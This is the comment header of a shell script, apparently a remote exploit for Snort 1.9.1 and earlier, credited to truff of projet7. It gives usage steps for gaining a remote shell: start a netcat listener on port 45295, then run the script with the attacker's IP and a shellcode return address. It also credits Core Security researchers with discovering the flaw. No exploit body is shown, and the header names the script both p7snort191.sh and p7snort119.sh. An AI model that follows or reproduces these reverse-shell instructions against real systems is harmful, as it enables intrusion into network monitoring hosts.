# p7snort191.sh by truff (truff@projet7.org) #
# Snort 1.9.1 and below remote exploit #
# #
# Tested on Slackware 8.0 with Snort 1.9.1 from sources #
# #
# Usage: #
# 1/ Launch a listening netcat to listen for the shell #
# nc -p 45295 -l #
# #
# 2/ p7snort119.sh yourIP [Ret_Addr] #
# #
# Where yourIP is the IP where the netcat is listening #
# and Ret_Addr is the address (8 hexa digits) of the #
# shellcode (eg: 0819fec2) #
# #
# #
# This vulnerability was discovered by Bruce Leidl, #
# Juan Pablo Martinez Kuhn, and Alejandro David Weil #
# from Core Security Technologies during Bugweek 2003. #
# #
# Greetz to #root people and projet7 members. #
# Special thx to mycroft for helping me with shell #
# scripting stuff. #
